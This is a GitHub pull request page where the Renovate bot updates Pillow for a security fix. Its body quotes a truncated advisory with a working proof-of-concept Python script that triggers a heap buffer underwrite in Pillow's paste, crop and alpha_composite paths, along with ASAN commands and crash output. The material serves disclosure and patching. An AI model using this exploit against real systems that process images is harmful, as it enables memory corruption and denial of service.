W = 1024      -> writes 4096 bytes before the row
W = 65536     -> writes 256 KiB before the row
W = 1000000   -> writes about 4 MiB before the row

Pillow's image creation guard currently limits xsize to roughly
INT_MAX / 4 - 1, so the theoretical upper bound for this RGBA underwrite is
2,147,483,640 bytes before the destination row pointer. In practice, the
usable range depends on memory availability, allocator layout, and process heap
state.

Two other documented APIs reach the same sink:

##### Image.crop() path
left = INT_MIN + 2
Image.new("RGBA", (2, 1)).crop((left, 0, left + 2, 1))

##### Image.alpha_composite() path, via its internal crop()
base = Image.new("RGBA", (2, 1))
over = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
base.alpha_composite(over, dest=(left, 0))

Image.crop() keeps right - left small, so the Python decompression-bomb
check allows it. src/libImaging/Crop.c then computes wrapped paste
coordinates and calls ImagingPaste().

PoC

The following standalone script exercises all three public API paths. Save it
as b021_poc.py and run it with paste, crop, or alpha.

#!/usr/bin/env python3
import argparse
import sys

from PIL import Image

INT_MIN = -(1 << 31)

def rgba_pattern(width):
    out = bytearray()
    for i in range(width):
        out += bytes((0x41 + (i % 26), 0x42, 0x43, 0x44))
    return bytes(out)

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "variant",
        choices=("paste", "crop", "alpha"),
        nargs="?",
        default="paste",
    )
    parser.add_argument("-w", "--width", type=int, default=2)
    args = parser.parse_args()

    width = args.width
    src = Image.frombytes("RGBA", (width, 1), rgba_pattern(width))

    if args.variant == "paste":
        box = ((1 << 31) - width, 0, INT_MIN, 1)
        dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0))
        print(f"variant=paste box={box}")
        print(f"expected C dst offset={-4 * width}, write_size={4 * width}")
        sys.stdout.flush()
        dst.paste(src, box)
        print("paste returned; first row:", dst.tobytes().hex())

    elif args.variant == "crop":
        left = INT_MIN + width
        box = (left, 0, left + width, 1)
        print(f"variant=crop box={box}")
        sys.stdout.flush()
        out = src.crop(box)
        print("crop returned; output:", out.tobytes().hex())

    else:
        dest = (INT_MIN + width, 0)
        dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0))
        print(f"variant=alpha dest={dest}")
        sys.stdout.flush()
        dst.alpha_composite(src, dest=dest)
        print("alpha_composite returned; first row:", dst.tobytes().hex())

    sys.stdout.flush()

if __name__ == "__main__":
    main()

Run against an ASAN build:

env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
  python b021_poc.py paste

env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
  python b021_poc.py crop

env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
  python b021_poc.py alpha

Observed ASAN signature for the direct Image.paste() path:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 8
paste /out/src/src/libImaging/Paste.c:59
ImagingPaste /out/src/src/libImaging/Paste.c:323
_paste /out/src/src/_imaging.c:1461
0x... is located 8 bytes before 32-byte region

On non-ASAN Pillow 12.2.0 and local 12.3.0.dev0, the direct minimal
Image.paste() trigger returns from paste() and then the process aborts
during cleanup with:

double free or corruption (out)
Aborted (core dumped)

Observed ASAN signature for the Image.crop() and Image.alpha_composite()
paths:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 8
paste /out/src/src/libImaging/Paste.c:59
ImagingPaste /out/src/src/libImaging/Paste.c:323
ImagingCrop /

> ✂ **Note**
> 
> PR body was truncated to here.

@renovate renovate Bot changed the title chore(deps): update dependency pillow to v12.2.0 [security] chore(deps): update dependency pillow to v12.2.0 [security] - autoclosed Apr 18, 2026
@renovate renovate Bot closed this Apr 18, 2026
@renovate
renovate Bot deleted the renovate/pypi-pillow-vulnerability branch April 18, 2026 14:16
@renovate renovate Bot changed the title chore(deps): update dependency pillow to v12.2.0 [security] - autoclosed chore(deps): update dependency pillow to v12.2.0 [security] Apr 21, 2026
@renovate renovate Bot reopened this Apr 21, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-pillow-vulnerability branch from b8b3d9f to a8bfd19 Compare April 21, 2026 19:01
@github-project-automation github-project-automation Bot moved this from Done to Dev backlog in Agent Stack Apr 21, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-pillow-vulnerability branch from a8bfd19 to b8b3d9f Compare April 21, 2026 19:01
@renovate
renovate Bot force-pushed the renovate/pypi-pillow-vulnerability branch from b8b3d9f to 200d0a3 Compare July 19, 2026 04:22
@renovate renovate Bot changed the title chore(deps): update dependency pillow to v12.2.0 [security] chore(deps): update dependency pillow to v12.3.0 [security] Jul 19, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

Status: Dev backlog

Development

Successfully merging this pull request may close these issues.

0 participants